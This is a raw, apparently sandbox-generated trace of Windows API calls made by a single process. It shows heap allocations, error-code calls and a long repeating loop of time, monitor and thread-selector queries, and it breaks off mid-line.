[0091.239] SetLastError (dwErrCode=0x0) [0091.239] GetLastError () returned 0x0 [0091.239] SetLastError (dwErrCode=0x0) [0091.239] GetLastError () returned 0x0 [0091.240] SetLastError (dwErrCode=0x0) [0091.240] GetLastError () returned 0x0 [0091.240] SetLastError (dwErrCode=0x0) [0091.240] GetLastError () returned 0x0 [0091.240] SetLastError (dwErrCode=0x0) [0091.240] GetLastError () returned 0x0 [0091.240] SetLastError (dwErrCode=0x0) [0091.240] GetLastError () returned 0x0 [0091.240] SetLastError (dwErrCode=0x0) [0091.240] GetLastError () returned 0x0 [0091.240] SetLastError (dwErrCode=0x0) [0091.240] GetLastError () returned 0x0 [0091.240] SetLastError (dwErrCode=0x0) [0091.240] GetLastError () returned 0x0 [0091.240] SetLastError (dwErrCode=0x0) [0091.240] GetLastError () returned 0x0 [0091.240] SetLastError (dwErrCode=0x0) [0091.240] GetLastError () returned 0x0 [0091.240] SetLastError (dwErrCode=0x0) [0091.240] GetLastError () returned 0x0 [0091.240] SetLastError (dwErrCode=0x0) [0091.240] GetLastError () returned 0x0 [0091.240] SetLastError (dwErrCode=0x0) [0091.240] GetLastError () returned 0x0 [0091.240] SetLastError (dwErrCode=0x0) [0091.240] GetLastError () returned 0x0 [0091.240] SetLastError (dwErrCode=0x0) [0091.240] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x8, Size=0x9c) returned 0x5023da0 [0091.240] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x8, Size=0x1f) returned 0x50217e0 [0091.240] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x8, Size=0x36) returned 0x5023e48 [0091.240] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x8, Size=0x37) returned 0x5023e88 [0091.240] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x8, Size=0x3c) returned 0x5023ec8 [0091.240] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x8, Size=0x31) returned 0x5023f10 [0091.240] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x8, Size=0x17) returned 0x5020a40 [0091.240] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x8, Size=0x24) returned 0x5023f50 [0091.240] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x8, Size=0x14) returned 0x5023f80 [0091.240] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x8, Size=0xd) returned 0x5020c30 [0091.241] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x8, Size=0x25) returned 0x5023fa0 [0091.241] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x8, Size=0x39) returned 0x5022a58 [0091.241] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x8, Size=0x18) returned 0x5022aa0 [0091.241] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x8, Size=0x17) returned 0x5022ac0 [0091.241] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x8, Size=0xe) returned 0x5020c48 [0091.241] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x8, Size=0x69) returned 0x5022ae0 [0091.241] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x8, Size=0x3e) returned 0x5022b58 [0091.241] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x8, Size=0x1b) returned 0x5021808 [0091.241] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x8, Size=0x1d) returned 0x5021830 [0091.241] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x8, Size=0x48) returned 0x5022ba0 [0091.241] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x8, Size=0x12) returned 0x5022bf0 [0091.241] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x8, Size=0x18) returned 0x5022c10 [0091.241] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x8, Size=0x1b) returned 0x5021858 [0091.241] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x8, Size=0x24) returned 0x5022c30 [0091.241] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x8, Size=0x29) returned 0x5022c60 [0091.241] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x8, Size=0x1e) returned 0x5021880 [0091.241] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x8, Size=0x41) returned 0x5022c98 [0091.241] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x8, Size=0x17) returned 0x5022ce8 [0091.241] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x8, Size=0x14) returned 0x5022d08 [0091.241] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x8, Size=0xf) returned 0x5020c60 [0091.241] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x8, Size=0x16) returned 0x5022d28 [0091.241] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x8, Size=0x2a) returned 0x5022d48 [0091.241] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x8, Size=0x29) returned 0x5022d80 [0091.241] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x8, Size=0x15) returned 0x5022db8 [0091.241] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x8, Size=0x1e) returned 0x50218a8 [0091.241] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x8, Size=0x2a) returned 0x5022dd8 [0091.241] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x8, Size=0x12) returned 0x5022e10 [0091.241] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x8, Size=0x18) returned 0x5022e30 [0091.241] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x8, Size=0x46) returned 0x5022e50 [0091.241] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5023568 | out: hHeap=0x5010000) returned 1 [0091.242] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x8, Size=0x80) returned 0x5022ea0 [0091.242] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0091.242] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x8, Size=0x800) returned 0x5022f28 [0091.242] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x40d47c) returned 0x0 [0091.243] RtlSizeHeap (HeapHandle=0x5010000, Flags=0x0, MemoryPointer=0x5022ea0) returned 0x80 [0091.244] RtlSizeHeap (HeapHandle=0x5010000, Flags=0x0, MemoryPointer=0x5022ea0) returned 0x80 [0091.245] RtlSizeHeap (HeapHandle=0x5010000, Flags=0x0, MemoryPointer=0x5022ea0) returned 0x80 [0091.245] RtlSizeHeap (HeapHandle=0x5010000, Flags=0x0, MemoryPointer=0x5022ea0) returned 0x80 [0091.245] RtlSizeHeap (HeapHandle=0x5010000, Flags=0x0, MemoryPointer=0x5022ea0) returned 0x80 [0091.245] RtlSizeHeap (HeapHandle=0x5010000, Flags=0x0, MemoryPointer=0x5022ea0) returned 0x80 [0091.245] RtlSizeHeap (HeapHandle=0x5010000, Flags=0x0, MemoryPointer=0x5022ea0) returned 0x80 [0091.246] RtlSizeHeap (HeapHandle=0x5010000, Flags=0x0, MemoryPointer=0x5022ea0) returned 0x80 [0091.246] RtlSizeHeap (HeapHandle=0x5010000, Flags=0x0, MemoryPointer=0x5022ea0) returned 0x80 [0091.246] GetLastError () returned 0x0 [0091.246] SetLastError (dwErrCode=0x0) [0091.246] GetLastError () returned 0x0 [0091.246] SetLastError (dwErrCode=0x0) [0091.246] GetLastError () returned 0x0 [0091.246] SetLastError (dwErrCode=0x0) [0091.246] GetLastError () returned 0x0 [0091.246] SetLastError (dwErrCode=0x0) [0091.246] GetLastError () returned 0x0 [0091.246] SetLastError (dwErrCode=0x0) [0091.246] GetLastError () returned 0x0 [0091.246] SetLastError (dwErrCode=0x0) [0091.246] GetLastError () returned 0x0 [0091.246] SetLastError (dwErrCode=0x0) [0091.246] GetLastError () returned 0x0 [0091.246] SetLastError (dwErrCode=0x0) [0091.246] GetLastError () returned 0x0 [0091.246] SetLastError (dwErrCode=0x0) [0091.246] GetLastError () returned 0x0 [0091.246] SetLastError (dwErrCode=0x0) [0091.246] GetLastError () returned 0x0 [0091.246] SetLastError (dwErrCode=0x0) [0091.246] GetLastError () returned 0x0 [0091.247] SetLastError (dwErrCode=0x0) [0091.247] GetLastError () returned 0x0 [0091.247] SetLastError (dwErrCode=0x0) [0091.247] GetLastError () returned 0x0 [0091.247] SetLastError (dwErrCode=0x0) [0091.247] GetLastError () returned 0x0 [0091.247] SetLastError (dwErrCode=0x0) [0091.247] GetLastError () returned 0x0 [0091.247] SetLastError (dwErrCode=0x0) [0091.247] GetLastError () returned 0x0 [0091.247] SetLastError (dwErrCode=0x0) [0091.247] GetLastError () returned 0x0 [0091.247] SetLastError (dwErrCode=0x0) [0091.247] GetLastError () returned 0x0 [0091.247] SetLastError (dwErrCode=0x0) [0091.247] GetLastError () returned 0x0 [0091.247] SetLastError (dwErrCode=0x0) [0091.247] GetLastError () returned 0x0 [0091.247] SetLastError (dwErrCode=0x0) [0091.247] GetLastError () returned 0x0 [0091.247] SetLastError (dwErrCode=0x0) [0091.247] GetLastError () returned 0x0 [0091.247] SetLastError (dwErrCode=0x0) [0091.247] GetLastError () returned 0x0 [0091.247] SetLastError (dwErrCode=0x0) [0091.247] GetLastError () returned 0x0 [0091.247] SetLastError (dwErrCode=0x0) [0091.247] GetLastError () returned 0x0 [0091.247] SetLastError (dwErrCode=0x0) [0091.247] GetLastError () returned 0x0 [0091.247] SetLastError (dwErrCode=0x0) [0091.247] GetLastError () returned 0x0 [0091.247] SetLastError (dwErrCode=0x0) [0091.247] GetLastError () returned 0x0 [0091.248] SetLastError (dwErrCode=0x0) [0091.248] GetLastError () returned 0x0 [0091.248] SetLastError (dwErrCode=0x0) [0091.248] GetLastError () returned 0x0 [0091.248] SetLastError (dwErrCode=0x0) [0091.248] GetLastError () returned 0x0 [0091.248] SetLastError (dwErrCode=0x0) [0091.248] GetLastError () returned 0x0 [0091.248] SetLastError (dwErrCode=0x0) [0091.248] GetLastError () returned 0x0 [0091.248] lstrlenW (lpString="") returned 0 [0091.248] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.248] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.248] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.248] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.248] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.248] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.248] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.248] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.249] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.249] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.249] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.249] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.249] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.249] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.249] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.249] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.249] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.249] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.249] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.249] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.249] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.249] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.249] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.249] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.249] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.249] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.249] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.249] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.249] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.249] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.249] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.249] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.249] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.249] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.249] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.249] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.249] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.249] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.249] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.249] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.249] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.249] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.249] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.250] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.250] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.250] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.250] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.250] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.250] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.250] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.250] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.250] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.250] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.250] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.250] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.250] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.250] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.250] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.250] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.250] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.250] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.250] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.250] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.250] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.250] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.250] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.250] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.250] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.250] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.250] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.250] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.250] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.251] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.251] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.251] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.251] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.251] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.251] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.251] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.251] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.251] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.251] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.251] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.251] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.251] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.251] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.251] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.251] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.251] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.251] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.251] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.251] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.251] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.251] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.251] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.251] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.251] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.251] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.251] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.251] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.251] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.251] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.251] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: 